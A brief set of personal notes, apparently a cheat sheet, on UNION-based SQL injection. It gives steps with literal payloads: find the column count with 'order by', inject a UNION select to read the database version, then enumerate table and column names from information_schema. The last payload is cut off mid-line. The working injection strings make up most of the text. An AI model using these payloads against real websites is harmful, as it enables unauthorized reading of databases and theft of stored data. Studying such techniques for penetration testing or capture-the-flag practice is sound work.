SELECT user
FROM users 
WHERE user.name = 'jeffrey';

1. FIND NUMBER OF COLUMNS 
  "order by" trick - test if you can order by a column number

2. NOW WE CAN DO A UNION (# OF COLUMNS MUST MATCH)
  ' union select 1,2,3,version() -- -

3. NOW WE CAN GET TABLE, COLUMN, AND DATABASE INFO
  ' union select 1,2,3,table_name from information_schema.tables where table_schema="x8250" -- -  
  ' union select 1,2,3,column_name from information_schema.columns where table...